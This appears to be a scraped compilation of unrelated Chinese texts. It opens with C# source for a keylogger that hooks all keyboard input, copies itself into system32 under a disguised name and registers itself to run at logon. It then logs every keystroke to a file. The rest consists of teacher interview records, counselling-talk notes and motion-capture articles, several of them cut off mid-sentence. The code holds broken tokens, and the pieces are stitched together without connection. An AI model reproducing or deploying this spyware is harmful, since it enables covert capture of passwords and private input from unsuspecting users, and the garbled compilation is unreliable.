C#实现记录键盘输入完整版

[HCode=C#]///Hook.cs代码

using System;

using System.Runtime.InteropServices;

using System.Reflection;

using System.Windows.Forms;

namespace KingOper

{

public enum KeyboardEvents

{

KeyDown = 0x0100,

KeyUp = 0x0101,

SystemKeyDown = 0x0104,

SystemKeyUp = 0x0105

}

[StructLayout(LayoutKind.Sequential)]

public struct KeyboardHookStruct

{

public int vkCode; //表示一个在1到254间的虚似键盘码

public int scanCode; //表示硬件扫描码

public int flags;

public int time;

public int dwExtraInfo;

}

public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);

public class Hook

{

public event KeyboardEventHandler KeyboardEvent;

public enum HookType

{

WH_JOURNALRECORD = 0,

WH_JOURNALPLAYBACK = 1,

WH_KEYBOARD = 2,

WH_GETMESSAGE = 3,

WH_CALLWNDPROC = 4,

WH_CBT = 5,

WH_SYSMSGFILTER = 6,

WH_MOUSE = 7,

WH_HARDWARE = 8,

WH_DEBUG = 9,

WH_SHELL = 10,

WH_FOREGROUNDIDLE = 11,

WH_CALLWNDPROCRET = 12,

WH_KEYBOARD_LL = 13,

WH_MOUSE_LL = 14,

WH_MSGFILTER = -1,

}

public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);

[DllImport("User32.dll",CharSet = CharSet.Auto)]

public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);

[DllImport("User32.dll",CharSet = CharSet.Auto)]

public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);

[DllImport("User32.dll",CharSet = CharSet.Auto)]

public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);

private IntPtr instance;

private IntPtr hookHandle;

private int threadID;

private HookProc hookProcEx;

public Hook()

{

this.instance =

Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);

this.threadID = 0;

hookHandle = IntPtr.Zero;

hookProcEx = new HookProc(hookProc);

}

public bool SetHook()

{

this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);

return ((int)hookHandle != 0);

}

public IntPtr hookProc(int code, int wParam, IntPtr lParam)

{

if(code >= 0)

{

KeyboardEvents kEvent = (KeyboardEvents)wParam;

if (kEvent != KeyboardEvents.KeyDown &&

kEvent != KeyboardEvents.KeyUp &&

kEvent != KeyboardEvents.SystemKeyDown &&

kEvent != KeyboardEvents.SystemKeyUp)

{

return

CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);

}

KeyboardHookStruct MyKey = new KeyboardHookStruct();

Type t = MyKey.GetType();

MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);

Keys keyData=(Keys)MyKey.vkCode;

KeyboardEvent(kEvent, keyData);

}

return

CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);

}

public bool UnHook()

{

return Hook.UnhookWindowsHookEx(this.hookHandle);

}

}

}

///RegistryReport.cs代码

using System;

using System.IO;

using Microsoft.Win32;

using System.Windows.Forms;

namespace KingOper

{

public class RegistryReport

{

public RegistryReport()

{

}

public void MoveFile()

{

if(!File.Exists("c:\\windows\\system32\\_system.exe"))

{

File.Move(Application.ExecutablePath,"c:\\windows\\system32\\_system.exe");

}

else

return;

}

public void registryRun()

{

RegistryKey

key1=Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentV ersion\\run");

key1.SetV alue("","c:\\windows\\system32\\_system.exe");

key1.Close();

}

}

}

///Report.cs代码

using System;

using System.IO;

namespace KingOper

{

public class Report

{

public Report()

{

}

public void FirstWrite()

{

StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);

sw.WriteLine("************* LittleStudio Studio ************* ");

sw.WriteLine("******** " + DateTime.Today.Y ear.ToString() + "."

+ DateTime.Today.Month.ToString() + "."

+ DateTime.Today.Day.ToString() + ""

+ DateTime.Now.Hour.ToString() + ":"

+ DateTime.Now.Minute.ToString() + ":"

+ DateTime.Now.Second.ToString() + " ********");

sw.Close();

}

public void WriteDate(string keyEvents,string keyDate)

{

try

{

StreamWriter sw = new StreamWriter("c:/keyReport.txt",true);

sw.WriteLine(keyDate + "键" + keyEvents + " "

+ DateTime.Now.Hour.ToString() + ":"

+ DateTime.Now.Minute.ToString() + ":"

+ DateTime.Now.Second.ToString());

sw.Close();

}

catch{}

return;

}

}

}

test_Load调用的实现

private Hook MyHook=new Hook();

private Report MyReport=new Report();

private RegistryReport MyRegistryReport;

private void test_Load(object sender, System.EventArgs e)

{

MyRegistryReport=new RegistryReport();

this.MyRegistryReport.MoveFile();

this.MyRegistryReport.registryRun();

this.MyReport.FirstWrite();

this.MyHook.SetHook();

this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);

}

private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key)

{

string keyEvents = keyEvent.ToString();

string keyDate = key.ToString();

this.MyReport.WriteDate(keyEvents,keyDate);

}

[/HCode]

教师访谈记录四

教师访谈记录 访谈四 访谈时间：2015年8月13号 访谈学校： 被访老师及联系方式：林老师 访谈提纲及访谈心得： 访谈提纲： 作为一名师范生，为深入了解教师这一职业，我在暑假期间通过电话采访了我以前的老师。这次访谈让我受益匪浅。以下是详细的访谈记录： 【访谈方式】：电话访谈 【访谈记录】： 问：林老师，您已经任教几年了？ 答：我是从2000年开始教书的，到现在为止，也有十几年了。 问：老师您教了这么多年的书，是因为热爱才坚持那么久的吗？ 答：谈不上什么热爱，只能说是是一种习惯、喜欢以及责任。刚毕业时我确实是满腔热血，但这么多年下来，已经没有当初的那份热情，更多的是一种平淡的感情，是对教学的喜欢和对学生的责任。虽然很辛苦，也很疲惫，但每次看到学生成长并做出成绩，我都感到很欣慰。尤其是每次接到学生的问候或看望，我都觉得自己的辛苦没有白费，觉得自己的努力是值得的。 问：林老师，您认为成为一名老师需要具备什么能力或素质呢？可以详细谈谈吗？ 答：在我看来，作为一名老师需要掌握至少三方面的能力。一个是专业能力，一个是教学能力，另外一个就是教学态度。专业能力要求掌握和教学相关的专业知识，具备良好的知识储备，能够教授学生知识，解决学生的各种问题。而在空闲之余老师也要不断学习，丰富自身的知识。这是教导学生正确的知识，教好学生的前提。教学能力要求掌握好和教育有关的各种能力，口头表达清晰流利，书写要端正，教育方式要不断改善，要让学生更好地理解教学内容，要学会运用现代化教学手段和设施等等。这些与教学相关的能力要具备。除此之外，作为一名老师，还需要具备良好的教学态度，需要具备责任心、耐心、爱心以及教学热情，要认真对待自己的本职工作，耐心回答学生问题，关注学生学习状态，分析并提高学生成绩，不断提高自己的教学水平。这样才能胜任老师这份工作。 问：林老师，您教学多年，可以和我谈谈您对教师职责的看法吗？ 答：就我个人理解而言，一名教师有很多职责。比方说，批改作业、解答疑惑、传授知识等等。这些都是具体而言的，总的来说，老师的职责可以总结为两个方面，那就是安排好教学工作和教育学生。这也是最主要也是最重要的职责。安排教学工作，教导学生知识和学习，解答学生疑惑，帮助学生进步，这是一名教师最基本的职责。同时，一位老师还需要认真教育学生。这不仅仅是指教授学生知

教师访谈记录三完整版

访谈三 访谈时间：2017年7月20日 访谈学校：阳春市第一中学 被访教师姓名及联系方式： 提纲 访谈对象：高中老师 访谈目的：更加了解教师这份职业，清楚一位优秀教师所要具备的条件，咨询相关教学方法，向老师学习如何正确处理师生关系，学习优秀教师的良好品质，明确目标，为踏上教师之路做准备，争取做一位优秀的人民教师。 访谈内容： 请问您认为成为一名老师需要具备什么能力或素质呢？ 当一个学生从中学毕业的时候，您希望他身上具备哪些基本素质？ 中等生占据了班级人数的大部分，对于这部分学生的管理，你有什么方法吗？ 请问您对教师职责的看法是什么呢？ 您认为现在中学生的英语自学能力怎么样？ 您认为在提高学生英语自学能力方面，老师应该做些什么？ 对于现在的英语教学，您有什么看法？ 访谈记录 问：请问您认为成为一名老师需要具备什么能力或素质呢？ 答：在我看来，作为一名老师首先要掌握相关的专业知识。只有自身专业知识够好，才能去教导别人，教好学生。如果自身知识水平不足，一知半解就会误导学生，害人害己。其次，相关的业务水平要掌握好，例如表达要清晰流利，能够让学生听明白，要不断改善教学方式，能够让学生理解教学内容;书写要端正，能够让学生看明白书写内容；能够运用现代化教学手段和设施等。这些与教学相关的能力要具备。再来，作为一名教师，还要具备良好的教学态度，需要具备责任心、爱心以及教学热情。这些都是一位优秀教师所需具备。 问：当一个学生从中学毕业的时候，您希望他身上具备哪些基本素质？ 答：我是一个理想主义者，我把我的理想主义也寄托到我的学生身上。中学毕业一般是十七八岁，我希望他们首先要有志向、有抱负、有社会责任感，也就是在思想上能够比较成熟。其次，要有良好的心理素质，勇敢、诚信、敢于面对挑战。第三，我希望他们是健康的年轻人，有很强的适应性、很强的生存能力。第四，当然是要有很好的学业基础，但我更强调的是思维能力、理解能力和分析能力。 问：中等生占据了班级人数的大部分，对于这部分学生的管理，你有什么方法吗？ 答：比如每次考试，看成绩时，找出中间的学生，找他们沟通一下学习上的困惑，哪些学科比较弱势的，可以给学习方法上的一些指导；2.活动时，多给中间的学生机会，比如参加升旗仪式，演讲等；3.要关注孩子家庭情况，和家长及时沟通，因为处于青春时期的孩子对家长可能也不理解，会造成冲突，和家长沟通，构成三方合力。 问：请问您对教师职责的看法是什么呢？ 答：就我个人理解而言，一名教师最主要也最重要的职责就是安排好教学工作和教育学生。安排教学工作，教导学生知识和学习，解答学生的疑惑，这是一名教师最基本的职责。同时，一名教师还需要认真教育学生，这不仅仅是指传授学生知识，关注学生学习情况，还是指教

教师访谈报告

访谈报告 一、访谈人基本情况 1、受访人姓名：常丽红、孙丽霞 2、受访人简介： 常丽红，女，左权中学的语文老师，左权中学的工会主席，曾多次担任实验班的班主任。有丰富的教学经验和管理经验。现任高一365班的语文老师。也是我高中的语文老师。曾被评为“晋中市教学能手”、“优秀班主任”等。 孙丽霞，女，左权中学的语文老师。教龄为三年。曾被评为“左权中学最受欢迎女老师”。 二、访谈过程记录 1、访谈时间：2014年5月1日 2、访谈地点：两位老师的家中 3、访谈方式：面谈 4、访谈内容摘要： 一、常丽红老师的采访内容 我: 您任教几年了？ 常老师：有30年了。 我：您教出了多少德才兼备的学生？ 常老师：我带了有十几届学生，不能说个个都德才兼备， 但他们都在自己的行业有所作为。 我: 您教书觉得开心吗？实现了您的人生价值了吗？您家

庭对这份中作满意吗？ 常老师：应该算实现了我人生价值。一个优秀的教师应该从他的学生那里获得快乐与幸福。教师这个职业非同一般，对于人类文明的传承与发展的意义，对于人类新生一代的成长的意义又者特殊的价值。我的家人非常理解我的工作也非常支持我的工作。我非常喜欢我自己的这份工作。我: 您喜欢这个职业的哪些方面？ 常老师：首先，我比较喜欢语文这门课，对文学有着特殊的爱好。其次，我比较适合这个职业，我讲课有一个原则，不光学生觉得满意，我自己在讲课的过程中也要让机子感到乐趣十足。不然，这个这也对自己来说就没有什么乐趣可言了。 我:您在授课过程中，您认为什么是最成功的，什么是中最具挑战性的？ 常老师：最成功的事能和学生融洽相处，同学们都很喜欢听我讲课，而且我的教学成绩一直很好，这是令我欣慰的。最具有挑战性的是，在极其有限的时间里，让同学们充分掌握大量的知识。时间紧，任务重课堂教学不够科学都会影响教学效果。 我: 您认为作为一名优秀的教师应该具备哪些素质呢？ 常老师：从事音乐行业的人很多，但成为音乐家的人很少。

教师谈心谈话记录内容课件.doc

--------------------------------------------------------------- 范文最新推荐------------------------------------------------------ 教师谈心谈话记录内容   时间：5 月15 日 地点：办公室 学生姓名：陈海 教师姓名：王昌学 谈心事由：课堂不注意听课 谈话内容： 师：最近我发现你上课老是不注意听课，我想问问是什么原因，能 告诉我吗? 生：我心里在想着偷看小说书，是一部神话武打方面的书，从图书室借来的，可 能被里面的情节所吸引，所以，人在课堂心在小说上了。 师：老师想跟你交流的是，小说能不能看，能看，但上课时间绝不 能看，会影响 文化课的学习; 另外看小说一定要有选择，要多看一些经典名著或关 于励志、勤奋方面的书籍。所以，建议你：一、以后再借书多借些我 所说的这方面的书籍看; 二、绝不能在上课时看，要合理安排时间， 在作业完成好、文化课复习好基础上可适当看看，可以吗? 生：老师，我懂了，以后保证不在课堂上看小说了，也不在借那些 武打等方面的书看了，保证按老师要求做。谢谢! 1 / 6

  谈话时间：2018 年04 月5 日 谈话地点：第 2 教学楼江庆华老师办公室 谈话人：江庆华、许兵 摘要：本次谈话主要涉及党的性质，党员的义务/ 双方主要就怎样成为一个合格的共产党员问题进行了探讨。 江：请谈一下你对中国共产党性质的认识。 许：中国共产党是中国工人阶级的先锋队，同时是中国人民和中华 民族的先锋队，是中国特色社会主义事业的领导核心，代表中国先进生产力的发展要求，代表中国先进文化的前进方向，代表中国最广大人民的根本利益。 江：谈下你对党员应尽义务的理解，作为入党积极分子的你是怎样 想的呢? 许：中国共产党员是具有共产主义觉悟的先进分子，同时又是劳动 人民的普通一员。每个共产党人都要而且必须保证党队伍的纯洁性， 履行八条义务，提高自身科学素质和理论水平，严于律己，牢固树立 全心全意为人民服务、当好人民公仆的观念。作为一个中国共产党人，应该这样要求自己，而作为入党积极分子的我，同样应该以党员 的要求从严要求自我。 我要从现在开始以党的严格要求来约束自己，在日常生活中用党的 章程来规范自己的言行，逐步提高自己的思想觉悟和为人民服务的意

三种动作捕捉系统解决方案的对比分析

三种动作捕捉系统解决方案的对比分析 2016年，全球范围内VR商业化、普及化的浪潮正在向我们走来。VR是一场交互方式的新革命，人们正在实现由界面到空间的交互方式变迁，这样的交互极其强调沉浸感，而用户想要获得完全的沉浸感，真正“进入”虚拟世界，动作捕捉系统是必须的，可以说动作捕捉技术是VR产业隐形钥匙。 目前动作捕捉系统有惯性式和光学式两大主流技术路线，而光学式又分为标定和非标定两种。那么我们可以将动作捕捉系统分为以下三大主类：基于计算机视觉的动作捕捉系统（光学式非标定）、基于马克点的光学动作捕捉系统（光学式标定）和基于惯性传感器的动作捕捉系统（惯性式）。接下来我们对这三种形式的动作捕捉系统进行简单的解析。 1.基于计算机视觉的动作捕捉系统 该类动捕系统比较有代表性的产品分别有捕捉身体动作的Kinect，捕捉手势的Leap Motion 和识别表情及手势的RealSense实感。 该类动捕系统基于计算机视觉原理，由多个高速相机从不同角度对目标特征点的监视和跟踪来进行动作捕捉的技术。理论上对于空间中的任意一个点，只要它能同时为两部相机所见，就可以确定这一时刻该点在空间中的位置。当相机以足够高的速率连续拍摄时，从图像序列中就可以得到该点的运动轨迹。这类系统采集传感器通常都是光学相机，基于二维图像特征或三维形状特征提取的关节信息作为探测目标。 基于计算机视觉的动作捕捉系统进行人体动作捕捉和识别，可以利用少量的摄像机对监测区域的多目标进行监控，精度较高；同时，被监测对象不需要穿戴任何设备，约束性小。然而，采用视觉进行人体姿态捕捉会受到外界环境很大的影响，比如光照条件、背景、遮挡物和摄像机质量等，在火灾现场、矿井内等非可视环境中该方法则完全失效。另外，由于视觉域的限制，使用者的运动空间被限制在摄像机的视觉范围内，降低了实用性。 2.基于马克点的光学动作捕捉系统

教师访谈记录

(一) 改善小学高年级学生课堂问题行为的建议 1.建立明确有效的课堂规则 [教师访谈记录一] 访谈时间：2014年 9 月 27 日 访谈地点：高年级教师办公室 访谈对象：59班（五年级）班主任吴韶春老师（新班主任） 笔者：吴老师，您好！开学近一个月，你们班的课堂纪律怎么样？ 吴老师：班上的学生似乎不太是安分的，不管有没有给他们布置要单独完成的作业，或者要他们认真听课，课堂里总是有一些骚动或噪音。 笔者：一直都如此吗？ 吴老师：开学的头几天，学生们看上去表现不错，很少有出格的时候，几乎所有的学生都很合作并且完成他们的作业。然而渐渐地一些不当行为就多了起来，大声说话、叫喊以及其他一些干扰行为，甚至一些原先很安静的学生也会这样。 笔者：针对这些情况，有没有做出一些处理的办法，或者订立班级课堂规定呢？ 吴老师：因为考虑到他们已经五年级了，所以没有订立课堂规则，但有时班上学生特别吵，不得不在黑板上写下违纪学生的名字来维持课堂秩序。但是这个方法并不怎么见效，因为黑板上的人名太多，没上黑板的人反而会被其他学生耻笑。 [教师访谈记录二] 访谈时间：2014年 10月 9 日 访谈地点：高年级教师办公室 访谈对象：61班班主任陆春香老师 笔者：陆老师，您觉得有没有必要制定班级规则？ 陆老师：有，而且我觉得很重要。我是一个新教师，以前，感觉孩子们常常在课堂上出现的课堂问题行为特别多，尤其是做小动作，窃窃私语，或随意大声地讲话等，为了处理此类问题，常常要分散精力去处理，有时还会耽误教学进度，而且弄得自己心情也很糟糕。后来，我听取了其他经验丰富的班主任的意见，在班级里制定了一系列班级常规细则，若不遵守则会受到相应的惩罚措施，事实上，

教师采访报告范文3篇

教师采访报告范文3篇 采访是记者为取得新闻材料而进行观察、调查、访问、记录、 摄影、录音、录像等活动。是一种媒体信息的采集和收集方式，通 常通过记者和被获取信息的对象面对面交流。本文是干货资源社小 编为大家整理的教师采访报告范文，仅供参考。 教师采访报告范文篇一： [访谈对象简介]采访是记者为取得新闻材料而进行观察、调查、访问、记录、摄影、录音、录像等活动。是一种媒体信息的采集和 收集方式，通常通过记者和被获取信息的对象面对面交流。 祁晓霞，女，1965年1月出生，1983年8月参加工作，中共党员， 本科学历，中学高级教师，江苏省特级教师，盐城市音乐教学 幼教专业委员会理事，盐城市教育学会幼儿教育专业委员会理事， 盐城市教育学会艺术学科专业委员会副秘书长，省、市“xx”立项 课题主持人。先后荣获“江苏省优秀教育工者”“盐城市优秀教师 银奖”“盐城市教育系统十佳勤廉校长”“盐城市本土创业致富典型”等荣誉称号。盐城市第一小学教育集团副校长、党委委员，市 六一幼儿园园长 [访问记录] 时间：20xx年x月x日上午 地点：盐城市六一幼儿园会议室

方式：面对面交流 访谈记录： 【问】：祁园长您好，之前我们了解了一些关于您的不平凡的 生涯经历，那么您可以具体和我们分享一下吗?谢谢。 【答】：可以。那我就说说我的学习经历吧。其实我一直有一 个遗憾，就是没有机会读硕士课程。因为当时那个年代的特殊条件，我英语基础不好，所以……我有时做梦都能梦到我在考英语。但是我 希望在我的有生之年能弥补这个遗憾，因此我一直没有放弃学习， 学习是一辈子的追求，任何时候都应该有所追求。现在的你们学习 条件这么优越，说实话我是很羡慕你们的，我也希望你们能把学习 当做一辈子的事，坚持做下去。 【问】：我们知道您在幼儿园创办之初遇到了许多困难，那么 您是如何解决的这些困难的呢?您当初想过放弃吗? 【答】：老实说，在幼儿园创办之初，我就做好了了面对各种 困难的心理准备。这所学校目前属于民办性质，因此与那些公办的 幼儿园相比，政策、资金、教师等方面还是有很大差异的。我感谢 那些在最困难的阶段和我一起努力的老师们，我们没有放弃。我们 知道光坐着等是没有用的、抱怨再多也无济于事。 我们首先要保证幼儿园的正常运转，此外还要保证小朋友和老 师们的的发展。再苦也不能苦了小朋友，孩子的健康成长是首要的; 教师的成长发展也是不可或缺的一个环节，教师的职业素养提高了，

教师访谈记录

教师访谈记录 Company number：【WTUT-WT88Y-W8BBGB-BWYTT-19998】

(一) 改善小学高年级学生课堂问题行为的建议 1.建立明确有效的课堂规则 [教师访谈记录一] 访谈时间：2014年 9 月 27 日 访谈地点：高年级教师办公室 访谈对象：59班（五年级）班主任吴韶春老师（新班主任） 笔者：吴老师，您好！开学近一个月，你们班的课堂纪律怎么样 吴老师：班上的学生似乎不太是安分的，不管有没有给他们布置要单独完成的作业，或者要他们认真听课，课堂里总是有一些骚动或噪音。 笔者：一直都如此吗 吴老师：开学的头几天，学生们看上去表现不错，很少有出格的时候，几乎所有的学生都很合作并且完成他们的作业。然而渐渐地一些不当行为就多了起来，大声说话、叫喊以及其他一些干扰行为，甚至一些原先很安静的学生也会这样。 笔者：针对这些情况，有没有做出一些处理的办法，或者订立班级课堂规定呢 吴老师：因为考虑到他们已经五年级了，所以没有订立课堂规则，但有时班上学生特别吵，不得不在黑板上写下违纪学生的名字来维持课堂秩序。但是这个方法并不怎么见效，因为黑板上的人名太多，没上黑板的人反而会被其他学生耻笑。 [教师访谈记录二] 访谈时间：2014年 10月 9 日 访谈地点：高年级教师办公室 访谈对象：61班班主任陆春香老师 笔者：陆老师，您觉得有没有必要制定班级规则 陆老师：有，而且我觉得很重要。我是一个新教师，以前，感觉孩子们常常在课堂上出现的课堂问题行为特别多，尤其是做小动作，窃窃私语，或随意大声地讲话等，为了处理此类问题，常常要分散精力去处理，有时还会耽误教学进度，而且弄得自己心情也很糟糕。后来，我听取了其他经验丰富的班主任的意见，在班级里制定了一系列班级常规细则，若不遵守则会受到相应的惩罚

教育访谈记录

教育访谈记录 Company number：【WTUT-WT88Y-W8BBGB-BWYTT-19998】

一本记事本的采访记录和反思，两个假期的访谈，四位优秀老师的经验分享，感谢这些，让我对于教师的角色，还有学生之于我的意义的理解深刻了很多，在这条走向老师的路上，我需要更多像这样的思考和经历，让我努力去成为一个合格的教师。 教育就像播种，你首先得把自己培育成好苗子，才能以身作则地去影响到你的学生。其次，你还得成为一个经验丰富同时懂得反思的老农，去耐心地播种，恰当地施肥，精心地培育，到你手里的种子，你就得付出心力好好栽培。 ——陈老师 老师是我高三的英语老师，多亏了她高效的教学方法和平时耐心的答疑和鼓励，我的英语水平在那一年得到了明显的提高。这一次回学校，她听到我以后也想成为一名英语老师，高兴地跟我聊了很久，不止告诉我很多她十几年的经验和有趣的故事，还针对我的性格和水平给了我一些建议。 我曾经在高中的时候就跟老师说过，做老师太无聊了，每年每年地重复同样的东西，还要跟学生一起承担升学的压力，改那么多试卷做那么多题，明明就还是做着跟学生一样的事情。这一次老师很认真地回答了我的疑惑。她说她从来没有觉得自己之前的十几年都在做重复的事情，不同的学生有不同的水平，需要设计不同的教学课件，相应的调整教学方法。老师随便就给我举了之前她带的班的例子，在这些交谈中，我慢慢明白，这个职业远不是我以为的那么简单和无趣，反而，它是一份需要高度的热忱和责任心的神圣职责。

我不觉得我在重复，是因为我是因为真的热爱这个工作。每一份工作都会有外人看来不尽人意的部分，但对我来说，重复是我工作的一部分，也是我用来帮助学生的方法之一。就像一个好习惯的形成需要一个月的重复，想学好一项技能也是需要一遍遍的练习，知识的授予也不是一蹴而就的，我乐于重复我教的东西去帮助学生更好的理解，同时我也会享受在一遍遍地教学中去精益求精，通过学生的反馈和我自己的反思不断总结出更简洁易懂的内容来。这个过程其实也是跟学生互动，一起brainstorm的过程，甚至你有时候会从学生那里学到一些巧妙的方法，当你看着你的学生乐于去思考，看到他们因为你的鼓励求知欲不断提升的过程，你就会觉得你做的事情很值得。 一个老师的道德品质和精神面貌是无比重要的。不管是小学，初中还是高中，他们都还处于世界观和价值观的形成阶段，所以对一些诱惑和不良习惯的抵抗力也比较差。这时候，如果老师在适当的时候发现并帮助纠正的话，对每一个学生个体来说都会是影响一生的改变。想做好一个老师的工作当然简单，你把自己的课讲完就可以走人，可是别忘了，一个人生命的前20年除了跟自己的父母相处最长，其次就是学校的老师和同学了。所以你既然被赋予了这个责任，你就必须尽力对每一个学生负责。我们应该让学生在学校里学习到怎么去做一个有责任心，有求知欲，有梦想，有自信，懂得反思的人，比起他们在课堂上学习来的知识，这些品质是更能够帮助他们独立承担责任，面对困难的支撑。而这个年龄段的小孩也是懂得寻找榜样去学习的，所以，即使你什么也不做，即使你只是偶尔几句提醒，只要你自己首先严格要求自己，以身作则，那么你自身的行为和人格也会产生潜移默化的影响的。

教师访谈记录一

教师访谈记录 访谈一 访谈时间：2015年2月7号 访谈学校： 被访老师及联系方式：谢老师 访谈提纲及访谈心得： 访谈提纲： 作为一名师范生，为深入了解教师这一职业，我在寒假期间回母校采访了谢旺富老师。就该职业的任职要求、岗位职责、日常生活、工作压力、工资待遇、发展空间等问题咨询了谢老师，谢老师详细解答了我的疑惑。这次访谈让我受益匪浅。以下是详细的访谈记录： 【访谈方式】：面对面交流 【访谈记录】： 问：谢老师，现在在类似的学校中任职的基本条件是什么？需要什么证书吗？答：基本上在类似的学校中任职要求有全日制普通高校的本科及以上学历，相关专业本科生优先，例如招收英语老师时会优先招收英语师范专业的优秀本科生。至于证书，一般都需要教师资格证。另外相关学科也会有某些要求取得的证，比如说，英语老师需要像专业四级或公共六级这样的考试证书。当然，这只是最基本的要求。相关证书还是多一点比较好，这一定程度上能说明你在大学中学习比较好，掌握较多的专业知识及相关知识。 问：您认为成为一名老师需要具备什么能力或素质呢？可以详细谈谈吗？答：在我看来，作为一名老师首先需要掌握相关的专业知识。如当语文老师就必须拥有足够的文学修养和学识。只有自身专业知识足够好，才能去教导别人，教好学生。如果自身水平不足，一知半解就会误导学生，害人害己。其次，相关的业务水平要掌握好，例如表达要清晰流利，能够让学生听明白；要不断改善教育方式，能够让学生理解教学内容；书写要端正，能够让学生看明白书写内容；能够运用现代化教学手段和设施等等。这些与教学相关的能力要具备。再来，作为一名老师，还需要具备良好的教学态度，需要具备责任心、耐心、爱心以及教学热情。这些都是一位优秀老师所必需具备。 问：作为一名初中老师，您一天工作日生活通常是什么样子的呢？ 答：像其他老师一样，非班主任一般都需要带多个班级，我要带两个班。在一周五天的工作日当中，平均每天需要上四到六节课。一般早上6点多起床，7点钟的时候基本到达学校并准备早自习。一般按照学校教学安排，有课上时就会去上课，课间会回答学生问题。没有课时基本上就在办公室批改作业、备课及研究课程。上午一般到11:30左右才能休息。下午上课从2:20到5:20左右。安排和上午差不多。晚上按照学校安排上晚自习，一般从6:30上到10:00。基本上是去

动作捕捉原理探究

新生研讨课报告题目：动作捕捉技术原理探究 院（系）计算机科学与技术学院 专业计算机类 学生杨义威 学号1160300804 班号1603008 指导教师杨明 日期2017.4

动作捕捉技术 一．动作捕捉技术及背景 ◆动作捕捉 动作捕捉英文Motion capture,简称Mocap。技术涉及尺寸测量、物理空间里物体的定位及方位测定等方面可以由计算机直接理解处理的数据。在运动物体的关键部位设置跟踪器，由Motion capture系统捕捉跟踪器位置，再经过计算机处理后得到三维空间坐标的数据。当数据被计算机识别后，可以应用在动画制作，步态分析，生物力学，人机工程等领域。 2012年由詹姆斯·卡梅隆导演的电影《阿凡达》全程运用动作捕捉技术完成，实现动作捕捉技术在电影中的完美结合，具有里程碑式的意义。 [1]其他运用动作捕捉技术拍摄的著名电影角色还有《猩球崛起》中的猩猩之王凯撒，以及动画《指环王》系列中的古鲁姆，都为动作捕捉大师安迪·瑟金斯饰演[2]。2014年8月14日，由梦工厂制作的全息动作捕捉动画电影《驯龙高手2》在中国大陆上映。 除了电影之外，动作捕捉在游戏领域也应用的极为广泛，诸如《光晕：致远星》、《神鬼寓言3》、《全面战争：幕府将军2》、《狙击精英V2》等主机游戏都应用了动作捕捉技术。 ◆背景 动作捕捉的起源普遍被认为是费舍尔（Fleischer）在1915年发明的影像描摹（rotoscope）。这是一个在动画片制作中产生出的一种技术。艺术家通过精细的描绘播放给他们的真人录影片段当中的每一帧静态画面来模拟出动画人物在虚拟世界中的具备真实感的表演。这个过程本身是

教师访谈记录-二人

访谈录1 老师: 教龄：级别：所在单位：岗位代码：单位级别： 访谈思路 一、教师岗位的基本信息和总体性质 二、教师的知识技能与素质要求 三、成为老师的途径 四、教师岗位就业分析 五、教师岗位待遇分析 六、在职教师的职业规划 七、建议 一、教师岗位的基本信息和总体性质 (一)教师日常工作纪实 1、您一天工作,除了备课、上课、批改练习、与学生谈心、教师开会，还有其他重要任务吗？ 团委工作，如广播站，志愿者，学生会等 2、您有无除教学外的工作？（如果有继续看，如果无跳至第三题~） 1）做班主任？除了选拔班干、组织班干开会等还有其他要处理的工作吗？ 备课组长？（除了安排教学进度和计划，还有什么工作呢？） 教导主任？主要有哪些工作？ 同1 2）您是否经常外出参与会议或培训？

偶尔 3、工作难度 1）可以谈谈您工作中最棘手的问题吗？ 学生问题 2）您觉得现在老师面临的最主要的工作问题是什么？已经采取什么措施来解 决这些问题？或者您有没有想到比较好的解决办法？ 工资问题，没有解决措施 3）您和学生、同事、领导相处关系如何？有无较大压力或烦恼？如何调整？ 挺好，压力有，但最主要是心态 4）您是否有时觉得工作枯燥单调？如果遇到这种情况您会怎么调整？ 同上 4、每天工作时间？（平均多少小时？）每年假期？（在学校是不是和学生同时放假？还是有额外加班？有的话，您觉得一年大概要加班多长时间？或者老师跟我们说哪些时间比较可能加班，过后我们统计下）早七晚六，没有加班 5、生活方式 工作之余您还有哪些义务？比如做家务？陪家人？都有 您觉得您一年中是否有足够的时间做自己喜欢的事情，比如购物、旅游、观影、阅读？结婚前有孩子前有足够时间 6、教师的社会性质和价值 除了薪酬，您认为当一名老师最大的收获是？桃李满天下 您觉得当教师比较容易出现什么职业病（身体上的，心理上的等等都可以说 说） 颈椎，肩周炎等

与任课教师谈话记录

与任课教师谈话记录文档编制序号：[KK8UY-LL9IO69-TTO6M3-MTOL89-FTT688]

时间：2015.3.15 任课老师：唐明军 担任课程：心理健康教育2 内容：1.刚开学部分同学学习状态不太好； 2.上课时有部分说话现象； 3. 同学们对于学习新课程的积极性还是比较高的； 总结：对于大一的同学们来说，出现一些问题也是正常的，但是一定要引起高度的重视，一定要起个好头，要注意加强老师与素质导师之间的沟通，一起引导他们帮助他们尽快调整好状态。同时还要加强纪律教育，积极营造健康和谐的教室氛围。以及积极发挥班委的作用，帮助老师处理好各项班级事务，并且逐步完善各项班级规章制度，争取做到教育和管理双管齐下。 时间：2015.4.15 任课老师：张冬莲 担任课程：应用数学 内容：1.平常的课堂作业有部分同学存在拖拉现象; 2.同学们对于应用数学的学习进度有些慢； 3.有些同学喜欢课下与老师沟通，提问题，学习积极性还是很高的： 总结：高等数学这门科目对于我们班大部分学生来说，还是有一定难度的，这就需要同学们上课一定要集中注意力，认真听讲，课下认真预习和复习，同时多向老师提意见和请教，难点重点让老师多讲和细讲。 时间：2015.5.17 任课老师：蝴蝶 担任课程：制图与CAD 内容：1.同学们在上这问课时都很积极，能跟着老师的思路走； 2.上课时也有部分同学在开小差；

